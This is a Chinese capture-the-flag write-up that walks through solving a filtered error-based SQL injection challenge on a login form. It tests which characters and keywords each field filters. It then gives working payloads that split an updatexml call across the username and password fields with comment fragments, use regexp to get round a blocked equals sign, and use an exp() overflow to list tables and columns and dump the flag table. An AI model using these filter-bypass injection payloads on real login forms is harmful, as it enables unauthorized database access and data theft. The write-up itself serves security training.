11.加了料的报错注入
先查看网页源代码,收集信息:
分析:
页面提示我们POSTusername与password两个参数,看了看源码,里面提示了我们sql语句
$sql="select * from users where username='$username' and password='$password'";
先随手post几个数试试,发现页面返回有四种形式,当输入admin,admin时返回Login failed,当输入admin',admin时发生报错,当输入admin' and '1'='1,admin时出现Sql injection detected,甚至输入(),admin返回了User name unknow error.,这就表明服务器端对输入字符进行了过滤,每当返回Sql injection detected就表明存在被过滤的字符或字符串。
首先手动测一下username过滤了些啥:‘=‘、‘;’、‘#’、‘,’、‘()’、‘-’、union,limit,substr,floor,mid我已经感觉username凉了,()都给滤了还玩个毛线
接着去看看password有没有希望:‘=’、‘;’、‘#’、‘-’、union、limit、substr,mid,floor,ExtractValue,updatexml
大佬还给我留了一个NAME_CONST,但=又被和谐了,这么一来根本没软用,好一道劝退题啊
但幸运的是没有过滤 or ,接下来我们接着测试:
(笔记注:1.这里要注意一点的是error_based_hpf 竟然是数据库,这是从后面的注入得出来的结果,所以说做CTF要特别注意一些字符串。2. 123()为什么报错会和前面两个不一样是因为函数怎么能以纯数字来命名并调用呢?)
这里有个hpf,hpf全称为HTTP Parameter Fragment,sql注入里有一种就叫http分割注入
payload:
username=' or updatexml/*&password=*/(1,concat(0x3a,(select database())),1) or '
这里username最后为 /* 而password最前面为*/ 在拼接的时候就实现了/* */注释功能
这一题的意思就是在username过滤(),password过滤报错语句,因此我们要在username处使用报错语句,password处使用()
知道原理后开始操作:
暴库:
知道了库名之后接下来就是拿表,但由于这里和谐了limit,=与like,这里需要用regexp来代替= ,采用正则的方式来绕过,即利用regexp
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema regexp database()),0x7e),1) or '
爆字段:
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or '
愉悦的去拿flag
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT value FROM ffll44jj),0x7e),1) or '
虽然结果出来了,但还有另一种思路,题目没有过滤regexp,那么这里可以直接在password处采用exp报错
关于exp报错这里给出一个我所参考的链接:使用exp进行SQL报错注入: (网址)http://netsecurity.51cto.com/art/201508/489529.htm
之前已经知道了数据库名,那么我们直接来报表名:
username=0&password=' or exp(~(select*from (select group_concat(table_name) from information_schema.tables where table_schema regexp database() )x)) or '1
接着是列
username=0&password=' or exp(~(select*from (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' )x)) or '1
最后来dump数据:
username=0&password=' or exp(~(select*from (select value from ffll44jj )x)) or '1
最后的最后还有一种盲注,用脚本跑的,难度较大,有兴趣的可自行百度。